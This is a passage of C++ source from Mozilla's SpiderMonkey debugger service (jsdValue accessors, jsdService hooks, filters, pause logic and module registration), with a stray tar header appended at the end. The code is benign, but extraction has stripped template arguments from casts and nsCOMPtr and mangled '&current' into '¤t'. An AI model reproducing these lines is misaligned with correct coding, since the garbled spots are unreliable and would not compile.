JSD_GetValueParent (mCx, mValue); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsClassName(nsACString &_rval) { ASSERT_VALID_EPHEMERAL; _rval.Assign(JSD_GetValueClassName(mCx, mValue)); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsConstructor (jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = JSD_GetValueConstructor (mCx, mValue); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsFunctionName(nsACString &_rval) { ASSERT_VALID_EPHEMERAL; return AssignToJSString(&_rval, JSD_GetValueFunctionId(mCx, mValue)); } NS_IMETHODIMP jsdValue::GetBooleanValue(bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetValueBoolean (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetDoubleValue(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetValueDouble (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetIntValue(int32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetValueInt (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetObjectValue(jsdIObject **_rval) { ASSERT_VALID_EPHEMERAL; JSDObject *obj; obj = JSD_GetObjectForValue (mCx, mValue); *_rval = jsdObject::FromPtr (mCx, obj); if (!*_rval) return NS_ERROR_FAILURE; return NS_OK; } NS_IMETHODIMP jsdValue::GetStringValue(nsACString &_rval) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetDefaultJSContext (mCx); if (!cx) { NS_WARNING("No default context !?"); return NS_ERROR_FAILURE; } JSString *jstr_val = JSD_GetValueString(mCx, mValue); if (jstr_val) { size_t length; const jschar *chars = JS_GetStringCharsZAndLength(cx, jstr_val, &length); if (!chars) return NS_ERROR_FAILURE; nsDependentString depStr(chars, length); CopyUTF16toUTF8(depStr, _rval); } else { _rval.Truncate(); } return NS_OK; } NS_IMETHODIMP jsdValue::GetPropertyCount (int32_t *_rval) { ASSERT_VALID_EPHEMERAL; if (JSD_IsValueObject(mCx, mValue)) *_rval = JSD_GetCountOfProperties (mCx, mValue); else *_rval = -1; return NS_OK; } NS_IMETHODIMP jsdValue::GetProperties (jsdIProperty ***propArray, uint32_t *length) { ASSERT_VALID_EPHEMERAL; *propArray = nullptr; if (length) *length = 0; uint32_t prop_count = JSD_IsValueObject(mCx, mValue) ? JSD_GetCountOfProperties (mCx, mValue) : 0; NS_ENSURE_TRUE(prop_count, NS_OK); jsdIProperty **pa_temp = static_cast (nsMemory::Alloc(sizeof (jsdIProperty *) * prop_count)); NS_ENSURE_TRUE(pa_temp, NS_ERROR_OUT_OF_MEMORY); uint32_t i = 0; JSDProperty *iter = NULL; JSDProperty *prop; while ((prop = JSD_IterateProperties (mCx, mValue, &iter))) { pa_temp[i] = jsdProperty::FromPtr (mCx, prop); ++i; } NS_ASSERTION (prop_count == i, "property count mismatch"); /* if caller doesn't care about length, don't bother telling them */ *propArray = pa_temp; if (length) *length = prop_count; return NS_OK; } NS_IMETHODIMP jsdValue::GetProperty (const nsACString &name, jsdIProperty **_rval) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetDefaultJSContext (mCx); JSAutoRequest ar(cx); /* not rooting this */ JSString *jstr_name = JS_NewStringCopyZ(cx, PromiseFlatCString(name).get()); if (!jstr_name) return NS_ERROR_OUT_OF_MEMORY; JSDProperty *prop = JSD_GetValueProperty (mCx, mValue, jstr_name); *_rval = jsdProperty::FromPtr (mCx, prop); return NS_OK; } NS_IMETHODIMP jsdValue::Refresh() { ASSERT_VALID_EPHEMERAL; JSD_RefreshValue (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetWrappedValue(JSContext* aCx, JS::Value* aRetval) { ASSERT_VALID_EPHEMERAL; *aRetval = JSD_GetValueWrappedJSVal(mCx, mValue); if (!JS_WrapValue(aCx, aRetval)) { return NS_ERROR_FAILURE; } return NS_OK; } NS_IMETHODIMP jsdValue::GetScript(jsdIScript **_rval) { ASSERT_VALID_EPHEMERAL; JSDScript *script = JSD_GetScriptForValue(mCx, mValue); *_rval = jsdScript::FromPtr(mCx, script); return NS_OK; } /****************************************************************************** * debugger service implementation ******************************************************************************/ NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION(jsdService) NS_INTERFACE_MAP_ENTRY(jsdIDebuggerService) NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, jsdIDebuggerService) NS_INTERFACE_MAP_END /* NS_IMPL_CYCLE_COLLECTION_10(jsdService, ...) */ NS_IMPL_CYCLE_COLLECTION_CLASS(jsdService) NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN(jsdService) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mErrorHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mBreakpointHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mDebugHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mDebuggerHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mInterruptHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mScriptHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mThrowHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mTopLevelHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mFunctionHook) NS_IMPL_CYCLE_COLLECTION_UNLINK_NSCOMPTR(mActivationCallback) NS_IMPL_CYCLE_COLLECTION_UNLINK_END NS_IMPL_CYCLE_COLLECTION_TRAVERSE_BEGIN(jsdService) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mErrorHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mBreakpointHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mDebugHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mDebuggerHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mInterruptHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mScriptHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mThrowHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mTopLevelHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mFunctionHook) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_NSCOMPTR(mActivationCallback) NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END NS_IMPL_CYCLE_COLLECTING_ADDREF(jsdService) NS_IMPL_CYCLE_COLLECTING_RELEASE(jsdService) NS_IMETHODIMP jsdService::GetJSDContext(JSDContext **_rval) { *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdService::GetFlags (uint32_t *_rval) { ASSERT_VALID_CONTEXT; *_rval = JSD_GetContextFlags (mCx); return NS_OK; } NS_IMETHODIMP jsdService::SetFlags (uint32_t flags) { ASSERT_VALID_CONTEXT; JSD_SetContextFlags (mCx, flags); return NS_OK; } NS_IMETHODIMP jsdService::GetImplementationString(nsACString &aImplementationString) { aImplementationString.AssignLiteral(implementationString); return NS_OK; } NS_IMETHODIMP jsdService::GetImplementationMajor(uint32_t *_rval) { *_rval = JSDS_MAJOR_VERSION; return NS_OK; } NS_IMETHODIMP jsdService::GetImplementationMinor(uint32_t *_rval) { *_rval = JSDS_MINOR_VERSION; return NS_OK; } NS_IMETHODIMP jsdService::GetIsOn (bool *_rval) { *_rval = mOn; return NS_OK; } NS_IMETHODIMP jsdService::On (void) { return NS_ERROR_NOT_IMPLEMENTED; } NS_IMETHODIMP jsdService::AsyncOn (jsdIActivationCallback *activationCallback) { nsresult rv; nsCOMPtr xpc = do_GetService(nsIXPConnect::GetCID(), &rv); if (NS_FAILED(rv)) return rv; mActivationCallback = activationCallback; return xpc->SetDebugModeWhenPossible(true, true); } NS_IMETHODIMP jsdService::RecompileForDebugMode (JSContext *cx, JSCompartment *comp, bool mode) { NS_ASSERTION(NS_IsMainThread(), "wrong thread"); /* XPConnect now does this work itself, so this IDL entry point is no longer used. */ return NS_ERROR_NOT_IMPLEMENTED; } NS_IMETHODIMP jsdService::DeactivateDebugger () { if (!mCx) return NS_OK; jsdContext::InvalidateAll(); jsdScript::InvalidateAll(); jsdValue::InvalidateAll(); jsdProperty::InvalidateAll(); jsdStackFrame::InvalidateAll(); ClearAllBreakpoints(); JSD_SetErrorReporter (mCx, NULL, NULL); JSD_SetScriptHook (mCx, NULL, NULL); JSD_ClearThrowHook (mCx); JSD_ClearInterruptHook (mCx); JSD_ClearDebuggerHook (mCx); JSD_ClearDebugBreakHook (mCx); JSD_ClearTopLevelHook (mCx); JSD_ClearFunctionHook (mCx); JSD_DebuggerOff (mCx); mCx = nullptr; mRuntime = nullptr; mOn = false; return NS_OK; } NS_IMETHODIMP jsdService::ActivateDebugger (JSRuntime *rt) { if (mOn) return (rt == mRuntime) ? NS_OK : NS_ERROR_ALREADY_INITIALIZED; mRuntime = rt; if (gPrevGCSliceCallback == jsds_GCSliceCallbackProc) /* condition indicates that the callback proc has not been set yet */ gPrevGCSliceCallback = js::SetGCSliceCallback (rt, jsds_GCSliceCallbackProc); mCx = JSD_DebuggerOnForUser (rt, NULL, NULL); if (!mCx) return NS_ERROR_FAILURE; JSContext *cx = JSD_GetDefaultJSContext (mCx); JSObject *glob = JS_GetGlobalObject (cx); /* init xpconnect on the debugger's context in case xpconnect tries to * use it for stuff. */ nsresult rv; nsCOMPtr xpc = do_GetService(nsIXPConnect::GetCID(), &rv); if (NS_FAILED(rv)) return rv; xpc->InitClasses (cx, glob); /* Start watching for script creation/destruction and manage jsdScript * objects accordingly */ JSD_SetScriptHook (mCx, jsds_ScriptHookProc, NULL); /* If any of these mFooHook objects are installed, do the required JSD * hookup now. See also, jsdService::SetFooHook(). */ if (mErrorHook) JSD_SetErrorReporter (mCx, jsds_ErrorHookProc, NULL); if (mThrowHook) JSD_SetThrowHook (mCx, jsds_ExecutionHookProc, NULL); /* can't ignore script callbacks, as we need to |Release| the wrapper * stored in private data when a script is deleted. */ if (mInterruptHook) JSD_SetInterruptHook (mCx, jsds_ExecutionHookProc, NULL); if (mDebuggerHook) JSD_SetDebuggerHook (mCx, jsds_ExecutionHookProc, NULL); if (mDebugHook) JSD_SetDebugBreakHook (mCx, jsds_ExecutionHookProc, NULL); if (mTopLevelHook) JSD_SetTopLevelHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearTopLevelHook (mCx); if (mFunctionHook) JSD_SetFunctionHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearFunctionHook (mCx); mOn = true; #ifdef DEBUG printf ("+++ JavaScript debugging hooks installed.\n"); #endif nsCOMPtr activationCallback; mActivationCallback.swap(activationCallback); if (activationCallback) return activationCallback->OnDebuggerActivated(); return NS_OK; } NS_IMETHODIMP jsdService::Off (void) { if (!mOn) return NS_OK; if (!mCx || !mRuntime) return NS_ERROR_NOT_INITIALIZED; if (gDeadScripts) { if (gGCRunning) return NS_ERROR_NOT_AVAILABLE; JSContext *cx = JSD_GetDefaultJSContext(mCx); while (gDeadScripts) jsds_NotifyPendingDeadScripts (JS_GetRuntime(cx)); } DeactivateDebugger(); #ifdef DEBUG printf ("+++ JavaScript debugging hooks removed.\n"); #endif nsresult rv; nsCOMPtr xpc = do_GetService(nsIXPConnect::GetCID(), &rv); if (NS_FAILED(rv)) return rv; xpc->SetDebugModeWhenPossible(false, true); return NS_OK; } NS_IMETHODIMP jsdService::GetPauseDepth(uint32_t *_rval) { NS_ENSURE_ARG_POINTER(_rval); *_rval = mPauseLevel; return NS_OK; } NS_IMETHODIMP jsdService::Pause(uint32_t *_rval) { return DoPause(_rval, false); } nsresult jsdService::DoPause(uint32_t *_rval, bool internalCall) { if (!mCx) return NS_ERROR_NOT_INITIALIZED; if (++mPauseLevel == 1) { JSD_SetErrorReporter (mCx, NULL, NULL); JSD_ClearThrowHook (mCx); JSD_ClearInterruptHook (mCx); JSD_ClearDebuggerHook (mCx); JSD_ClearDebugBreakHook (mCx); JSD_ClearTopLevelHook (mCx); JSD_ClearFunctionHook (mCx); JSD_DebuggerPause (mCx); nsresult rv; nsCOMPtr xpc = do_GetService(nsIXPConnect::GetCID(), &rv); if (NS_FAILED(rv)) return rv; if (!internalCall) { rv = xpc->SetDebugModeWhenPossible(false, false); NS_ENSURE_SUCCESS(rv, rv); } } if (_rval) *_rval = mPauseLevel; return NS_OK; } NS_IMETHODIMP jsdService::UnPause(uint32_t *_rval) { return DoUnPause(_rval, false); } nsresult jsdService::DoUnPause(uint32_t *_rval, bool internalCall) { if (!mCx) return NS_ERROR_NOT_INITIALIZED; if (mPauseLevel == 0) return NS_ERROR_NOT_AVAILABLE; /* check mOn before we muck with this stuff, it's possible the debugger * was turned off while we were paused. */ if (--mPauseLevel == 0 && mOn) { JSD_DebuggerUnpause (mCx); if (mErrorHook) JSD_SetErrorReporter (mCx, jsds_ErrorHookProc, NULL); if (mThrowHook) JSD_SetThrowHook (mCx, jsds_ExecutionHookProc, NULL); if (mInterruptHook) JSD_SetInterruptHook (mCx, jsds_ExecutionHookProc, NULL); if (mDebuggerHook) JSD_SetDebuggerHook (mCx, jsds_ExecutionHookProc, NULL); if (mDebugHook) JSD_SetDebugBreakHook (mCx, jsds_ExecutionHookProc, NULL); if (mTopLevelHook) JSD_SetTopLevelHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearTopLevelHook (mCx); if (mFunctionHook) JSD_SetFunctionHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearFunctionHook (mCx); nsresult rv; nsCOMPtr xpc = do_GetService(nsIXPConnect::GetCID(), &rv); if (NS_FAILED(rv)) return rv; if (!internalCall) { rv = xpc->SetDebugModeWhenPossible(true, false); NS_ENSURE_SUCCESS(rv, rv); } } if (_rval) *_rval = mPauseLevel; return NS_OK; } NS_IMETHODIMP jsdService::EnumerateContexts (jsdIContextEnumerator *enumerator) { ASSERT_VALID_CONTEXT; if (!enumerator) return NS_OK; JSContext *iter = NULL; JSContext *cx; while ((cx = JS_ContextIterator (mRuntime, &iter))) { nsCOMPtr jsdicx = getter_AddRefs(jsdContext::FromPtr(mCx, cx)); if (jsdicx) { if (NS_FAILED(enumerator->EnumerateContext(jsdicx))) break; } } return NS_OK; } NS_IMETHODIMP jsdService::EnumerateScripts (jsdIScriptEnumerator *enumerator) { ASSERT_VALID_CONTEXT; JSDScript *script; JSDScript *iter = NULL; nsresult rv = NS_OK; JSD_LockScriptSubsystem(mCx); while((script = JSD_IterateScripts(mCx, &iter))) { nsCOMPtr jsdis = getter_AddRefs(jsdScript::FromPtr(mCx, script)); rv = enumerator->EnumerateScript (jsdis); if (NS_FAILED(rv)) break; } JSD_UnlockScriptSubsystem(mCx); return rv; } NS_IMETHODIMP jsdService::GC (void) { ASSERT_VALID_CONTEXT; JSRuntime *rt = JSD_GetJSRuntime (mCx); JS_GC(rt); return NS_OK; } NS_IMETHODIMP jsdService::DumpHeap(const nsACString &fileName) { ASSERT_VALID_CONTEXT; #ifndef DEBUG return NS_ERROR_NOT_IMPLEMENTED; #else nsresult rv = NS_OK; FILE *file = !fileName.IsEmpty() ? fopen(PromiseFlatCString(fileName).get(), "w") : stdout; if (!file) { rv = NS_ERROR_FAILURE; } else { JSContext *cx = JSD_GetDefaultJSContext (mCx); if (!JS_DumpHeap(JS_GetRuntime(cx), file, NULL, JSTRACE_OBJECT, NULL, (size_t)-1, NULL)) rv = NS_ERROR_FAILURE; if (file != stdout) fclose(file); } return rv; #endif } NS_IMETHODIMP jsdService::ClearProfileData () { ASSERT_VALID_CONTEXT; JSD_ClearAllProfileData (mCx); return NS_OK; } NS_IMETHODIMP jsdService::InsertFilter (jsdIFilter *filter, jsdIFilter *after) { NS_ENSURE_ARG_POINTER (filter); if (jsds_FindFilter (filter)) return NS_ERROR_INVALID_ARG; FilterRecord *rec = PR_NEWZAP (FilterRecord); if (!rec) return NS_ERROR_OUT_OF_MEMORY; if (!jsds_SyncFilter (rec, filter)) { PR_Free (rec); return NS_ERROR_FAILURE; } if (gFilters) { if (!after) { /* insert at head of list */ PR_INSERT_LINK(&rec->links, &gFilters->links); gFilters = rec; } else { /* insert somewhere in the list */ FilterRecord *afterRecord = jsds_FindFilter (after); if (!afterRecord) { jsds_FreeFilter(rec); return NS_ERROR_INVALID_ARG; } PR_INSERT_AFTER(&rec->links, &afterRecord->links); } } else { if (after) { /* user asked to insert into the middle of an empty list, bail. */ jsds_FreeFilter(rec); return NS_ERROR_NOT_INITIALIZED; } PR_INIT_CLIST(&rec->links); gFilters = rec; } return NS_OK; } NS_IMETHODIMP jsdService::AppendFilter (jsdIFilter *filter) { NS_ENSURE_ARG_POINTER (filter); if (jsds_FindFilter (filter)) return NS_ERROR_INVALID_ARG; FilterRecord *rec = PR_NEWZAP (FilterRecord); if (!jsds_SyncFilter (rec, filter)) { PR_Free (rec); return NS_ERROR_FAILURE; } if (gFilters) { PR_INSERT_BEFORE(&rec->links, &gFilters->links); } else { PR_INIT_CLIST(&rec->links); gFilters = rec; } return NS_OK; } NS_IMETHODIMP jsdService::RemoveFilter (jsdIFilter *filter) { NS_ENSURE_ARG_POINTER(filter); FilterRecord *rec = jsds_FindFilter (filter); if (!rec) return NS_ERROR_INVALID_ARG; if (gFilters == rec) { gFilters = reinterpret_cast (PR_NEXT_LINK(&rec->links)); /* If we're the only filter left, null out the list head. */ if (gFilters == rec) gFilters = nullptr; } PR_REMOVE_LINK(&rec->links); jsds_FreeFilter (rec); return NS_OK; } NS_IMETHODIMP jsdService::SwapFilters (jsdIFilter *filter_a, jsdIFilter *filter_b) { NS_ENSURE_ARG_POINTER(filter_a); NS_ENSURE_ARG_POINTER(filter_b); FilterRecord *rec_a = jsds_FindFilter (filter_a); if (!rec_a) return NS_ERROR_INVALID_ARG; if (filter_a == filter_b) { /* just a refresh */ if (!jsds_SyncFilter (rec_a, filter_a)) return NS_ERROR_FAILURE; return NS_OK; } FilterRecord *rec_b = jsds_FindFilter (filter_b); if (!rec_b) { /* filter_b is not in the list, replace filter_a with filter_b. */ if (!jsds_SyncFilter (rec_a, filter_b)) return NS_ERROR_FAILURE; } else { /* both filters are in the list, swap. */ if (!jsds_SyncFilter (rec_a, filter_b)) return NS_ERROR_FAILURE; if (!jsds_SyncFilter (rec_b, filter_a)) return NS_ERROR_FAILURE; } return NS_OK; } NS_IMETHODIMP jsdService::EnumerateFilters (jsdIFilterEnumerator *enumerator) { if (!gFilters) return NS_OK; FilterRecord *current = gFilters; do { jsds_SyncFilter (current, current->filterObject); /* SyncFilter failure would be bad, but what would we do about it? */ if (enumerator) { nsresult rv = enumerator->EnumerateFilter (current->filterObject); if (NS_FAILED(rv)) return rv; } current = reinterpret_cast (PR_NEXT_LINK (¤t->links)); } while (current != gFilters); return NS_OK; } NS_IMETHODIMP jsdService::RefreshFilters () { return EnumerateFilters(nullptr); } NS_IMETHODIMP jsdService::ClearFilters () { if (!gFilters) return NS_OK; FilterRecord *current = reinterpret_cast (PR_NEXT_LINK (&gFilters->links)); do { FilterRecord *next = reinterpret_cast (PR_NEXT_LINK (¤t->links)); PR_REMOVE_AND_INIT_LINK(¤t->links); jsds_FreeFilter(current); current = next; } while (current != gFilters); jsds_FreeFilter(current); gFilters = nullptr; return NS_OK; } NS_IMETHODIMP jsdService::ClearAllBreakpoints (void) { ASSERT_VALID_CONTEXT; JSD_LockScriptSubsystem(mCx); JSD_ClearAllExecutionHooks (mCx); JSD_UnlockScriptSubsystem(mCx); return NS_OK; } NS_IMETHODIMP jsdService::WrapValue(const JS::Value &value, jsdIValue **_rval) { ASSERT_VALID_CONTEXT; JSDValue *jsdv = JSD_NewValue(mCx, value); if (!jsdv) return NS_ERROR_FAILURE; *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdService::EnterNestedEventLoop (jsdINestCallback *callback, uint32_t *_rval) { // Nesting event queues is a thing of the past. Now, we just spin the // current event loop. nsresult rv; nsCOMPtr stack(do_GetService("@mozilla.org/js/xpc/ContextStack;1", &rv)); if (NS_FAILED(rv)) return rv; uint32_t nestLevel = ++mNestedLoopLevel; nsCOMPtr thread = do_GetCurrentThread(); if (NS_SUCCEEDED(stack->Push(nullptr))) { if (callback) { DoPause(nullptr, true); rv = callback->OnNest(); DoUnPause(nullptr, true); } while (NS_SUCCEEDED(rv) && mNestedLoopLevel >= nestLevel) { if (!NS_ProcessNextEvent(thread)) rv = NS_ERROR_UNEXPECTED; } JSContext* cx; stack->Pop(&cx); NS_ASSERTION(cx == nullptr, "JSContextStack mismatch"); } else rv = NS_ERROR_FAILURE; NS_ASSERTION (mNestedLoopLevel <= nestLevel, "nested event didn't unwind properly"); if (mNestedLoopLevel == nestLevel) --mNestedLoopLevel; *_rval = mNestedLoopLevel; return rv; } NS_IMETHODIMP jsdService::ExitNestedEventLoop (uint32_t *_rval) { if (mNestedLoopLevel > 0) --mNestedLoopLevel; else return NS_ERROR_FAILURE; *_rval = mNestedLoopLevel; return NS_OK; } /* hook attribute get/set functions */ NS_IMETHODIMP jsdService::SetErrorHook (jsdIErrorHook *aHook) { mErrorHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetErrorReporter (mCx, jsds_ErrorHookProc, NULL); else JSD_SetErrorReporter (mCx, NULL, NULL); return NS_OK; } NS_IMETHODIMP jsdService::GetErrorHook (jsdIErrorHook **aHook) { *aHook = mErrorHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetBreakpointHook (jsdIExecutionHook *aHook) { mBreakpointHook = aHook; return NS_OK; } NS_IMETHODIMP jsdService::GetBreakpointHook (jsdIExecutionHook **aHook) { *aHook = mBreakpointHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetDebugHook (jsdIExecutionHook *aHook) { mDebugHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetDebugBreakHook (mCx, jsds_ExecutionHookProc, NULL); else JSD_ClearDebugBreakHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetDebugHook (jsdIExecutionHook **aHook) { *aHook = mDebugHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetDebuggerHook (jsdIExecutionHook *aHook) { mDebuggerHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetDebuggerHook (mCx, jsds_ExecutionHookProc, NULL); else JSD_ClearDebuggerHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetDebuggerHook (jsdIExecutionHook **aHook) { *aHook = mDebuggerHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetInterruptHook (jsdIExecutionHook *aHook) { mInterruptHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetInterruptHook (mCx, jsds_ExecutionHookProc, NULL); else JSD_ClearInterruptHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetInterruptHook (jsdIExecutionHook **aHook) { *aHook = mInterruptHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetScriptHook (jsdIScriptHook *aHook) { mScriptHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetScriptHook (mCx, jsds_ScriptHookProc, NULL); /* we can't unset it if !aHook, because we still need to see script * deletes in order to Release the jsdIScripts held in JSDScript * private data. */ return NS_OK; } NS_IMETHODIMP jsdService::GetScriptHook (jsdIScriptHook **aHook) { *aHook = mScriptHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetThrowHook (jsdIExecutionHook *aHook) { mThrowHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetThrowHook (mCx, jsds_ExecutionHookProc, NULL); else JSD_ClearThrowHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetThrowHook (jsdIExecutionHook **aHook) { *aHook = mThrowHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetTopLevelHook (jsdICallHook *aHook) { mTopLevelHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetTopLevelHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearTopLevelHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetTopLevelHook (jsdICallHook **aHook) { *aHook = mTopLevelHook; NS_IF_ADDREF(*aHook); return NS_OK; } NS_IMETHODIMP jsdService::SetFunctionHook (jsdICallHook *aHook) { mFunctionHook = aHook; /* if the debugger isn't initialized, that's all we can do for now. The * ActivateDebugger() method will do the rest when the coast is clear. */ if (!mCx || mPauseLevel) return NS_OK; if (aHook) JSD_SetFunctionHook (mCx, jsds_CallHookProc, NULL); else JSD_ClearFunctionHook (mCx); return NS_OK; } NS_IMETHODIMP jsdService::GetFunctionHook (jsdICallHook **aHook) { *aHook = mFunctionHook; NS_IF_ADDREF(*aHook); return NS_OK; } /* virtual */ jsdService::~jsdService() { ClearFilters(); mErrorHook = nullptr; mBreakpointHook = nullptr; mDebugHook = nullptr; mDebuggerHook = nullptr; mInterruptHook = nullptr; mScriptHook = nullptr; mThrowHook = nullptr; mTopLevelHook = nullptr; mFunctionHook = nullptr; Off(); gJsds = nullptr; } jsdService * jsdService::GetService () { if (!gJsds) gJsds = new jsdService(); NS_IF_ADDREF(gJsds); return gJsds; } NS_GENERIC_FACTORY_SINGLETON_CONSTRUCTOR(jsdService, jsdService::GetService) /* app-start observer. turns on the debugger at app-start. this is inserted * and/or removed from the app-start category by the jsdService::initAtStartup * property. */ class jsdASObserver MOZ_FINAL : public nsIObserver { public: NS_DECL_ISUPPORTS NS_DECL_NSIOBSERVER jsdASObserver () {} }; NS_IMPL_THREADSAFE_ISUPPORTS1(jsdASObserver, nsIObserver) NS_IMETHODIMP jsdASObserver::Observe (nsISupports *aSubject, const char *aTopic, const PRUnichar *aData) { nsresult rv; // Hmm. Why is the app-startup observer called multiple times? //NS_ASSERTION(!gJsds, "app startup observer called twice"); nsCOMPtr jsds = do_GetService(jsdServiceCtrID, &rv); if (NS_FAILED(rv)) return rv; bool on; rv = jsds->GetIsOn(&on); if (NS_FAILED(rv) || on) return rv; nsCOMPtr rts = do_GetService(NS_JSRT_CTRID, &rv); if (NS_FAILED(rv)) return rv; JSRuntime *rt; rts->GetRuntime (&rt); if (NS_FAILED(rv)) return rv; rv = jsds->ActivateDebugger(rt); if (NS_FAILED(rv)) return rv; return NS_OK; } NS_GENERIC_FACTORY_CONSTRUCTOR(jsdASObserver) NS_DEFINE_NAMED_CID(JSDSERVICE_CID); NS_DEFINE_NAMED_CID(JSDASO_CID); static const mozilla::Module::CIDEntry kJSDCIDs[] = { { &kJSDSERVICE_CID, false, NULL, jsdServiceConstructor }, { &kJSDASO_CID, false, NULL, jsdASObserverConstructor }, { NULL } }; static const mozilla::Module::ContractIDEntry kJSDContracts[] = { { jsdServiceCtrID, &kJSDSERVICE_CID }, { jsdARObserverCtrID, &kJSDASO_CID }, { NULL } }; static const mozilla::Module kJSDModule = { mozilla::Module::kVersion, kJSDCIDs, kJSDContracts }; NSMODULE_DEFN(JavaScript_Debugger) = &kJSDModule; /******************************************************************************** ******************************************************************************** * graveyard */ #if 0 /* Thread States */ NS_IMPL_THREADSAFE_ISUPPORTS1(jsdThreadState, jsdIThreadState); NS_IMETHODIMP jsdThreadState::GetJSDContext(JSDContext **_rval) { *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdThreadState::GetJSDThreadState(JSDThreadState **_rval) { *_rval = mThreadState; return NS_OK; } NS_IMETHODIMP jsdThreadState::GetFrameCount (uint32_t *_rval) { *_rval = JSD_GetCountOfStackFrames (mCx, mThreadState); return NS_OK; } NS_IMETHODIMP jsdThreadState::GetTopFrame (jsdIStackFrame **_rval) { JSDStackFrameInfo *sfi = JSD_GetStackFrame (mCx, mThreadState); *_rval = jsdStackFrame::FromPtr (mCx, mThreadState, sfi); return NS_OK; } NS_IMETHODIMP jsdThreadState::GetPendingException(jsdIValue **_rval) { JSDValue *jsdv = JSD_GetException (mCx, mThreadState); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdThreadState::SetPendingException(jsdIValue *aException) { JSDValue *jsdv; nsresult rv = aException->GetJSDValue (&jsdv); if (NS_FAILED(rv)) return NS_ERROR_FAILURE; if (!JSD_SetException (mCx, mThreadState, jsdv)) return NS_ERROR_FAILURE; return NS_OK; } #endif mozjs17.0.0/js/jsd/resource.h0000664000175000017500000000125212106270662015774 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; 